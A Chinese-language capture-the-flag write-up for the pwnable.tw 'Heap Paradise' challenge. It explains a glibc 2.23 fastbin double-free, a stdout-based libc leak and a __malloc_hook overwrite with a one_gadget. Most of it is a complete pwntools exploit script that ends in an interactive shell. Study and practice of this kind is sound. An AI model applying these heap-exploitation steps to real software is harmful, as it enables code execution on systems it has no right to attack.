PWNABLE.TW-Heap Paradise-WP
第二次碰到这题,上次无思路放弃了,这次觉得不能放弃了,就学习了一下,也算是开拓一下利用的思路吧。

又是如此,只有分配和回收,保护全开。和昨天做的 Re-alloc Revenge 很像,不过此题 libc 版本为 2.23,难度陡增。
free
中未对指针置零,存在 double free
,意味着可以比较容易地通过 fastbin double free
实现任意地址写。那么难点就在 leak 上了。没什么思路,面向 WP 解题后了解到,其实有 double free
就是可以构造出一个大小足够的 chunk 的。这其实和 tache struct attack
很像,昨天刚刚学的知识今天没有用上,想想也是很遗憾,融会贯通的能力还是不够。
考虑到 fastbin
的 fd
是指向下一个堆块的,类似于 arbitrary alloc
的,覆写 fd
的一个字节,使之指向一个真实的 chunk 的上部,这样就可以修改那个真实的 chunk 的 size
域了,如果我们事先伪造好,使修改过 size
后该 chunk 仍合法,再 free 这个 chunk 就可以获得一个 unsorted bin
了,之后的 _IO_FILE
攻击和劫持 __malloc_hook
就是老方法了。
exp
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.terminal = ["tmux","splitw","-h"]
context.log_level = 'debug'
#sh = process("./heap_paradise")
sh = remote("chall.pwnable.tw",10308)
libc = ELF("./libc_64.so.6")
#libc = ELF("/glibc/2.23/amd64/lib/libc.so.6")
def alloc(size,payload):
sh.sendlineafter("Choice:",str(1))
sh.sendlineafter("Size :",str(size))
sh.sendafter("Data :",payload)
def free(index):
sh.sendlineafter("Choice:",str(2))
sh.sendlineafter("Index :",str(index))
alloc(0x68,'\n') #0
alloc(0x68,'\x00' * 0x40 + p64(0xA0) + p64(0x21)) #1
free(0)
free(1)
free(0)
alloc(0x68,'\x20') #2
alloc(0x68,'\n') #3 pass
alloc(0x68,p64(0) * 2 + p64(0) + p64(0x71)) #4 pass
alloc(0x68,'\x00') #5 now we have this ptr point to heap_base + 0x20
free(0)
alloc(0x68,p64(0) + p64(0) + p64(0) + p64(0xA1)) #6 this chunk is in fact the chunk 0
free(5)
'''after the work above we got the address of main_arena + 88'''
free(0)
free(1)
alloc(0x78,'\x00' * 0x40 + p64(0) + p64(0x71) + '\xa0') #7 chunk 0
free(7)
alloc(0x68,'\x00' * 0x20 + p64(0) + p64(0x71) + p64(libc.symbols["_IO_2_1_stdout_"] - 0x43)[:2]) #8
alloc(0x68,'\n') #9
alloc(0x68,'\x00' * 0x33 + p64(0xfbad1887) + p64(0) * 3 + '\x88') #10
_IO_2_1_stdin_addr = u64(sh.recv(8))
libc_base = _IO_2_1_stdin_addr - libc.symbols["_IO_2_1_stdin_"]
log.success("libc_base:" + hex(libc_base))
__malloc_hook = libc_base + libc.symbols["__malloc_hook"]
one_gadget = libc_base + 0xef6c4
free(0)
free(1)
free(0)
alloc(0x68,p64(__malloc_hook - 0x23)) #11
alloc(0x68,'\n') #12
alloc(0x68,'\n') #13
alloc(0x68,'\x00' * 0x13 + p64(one_gadget)) #14
sh.sendlineafter("Choice:",str(1))
sh.sendlineafter("Size :",str(1))
sh.interactive()
同时本题对堆块申请的数量限制非常严格,要注意最后分配到 __malloc_hook
的时候可以直接对开始申请的几个 chunk 进行 free
,不需要重复申请(我蠢到先 free 在申请会在再 double free
,就超出次数了)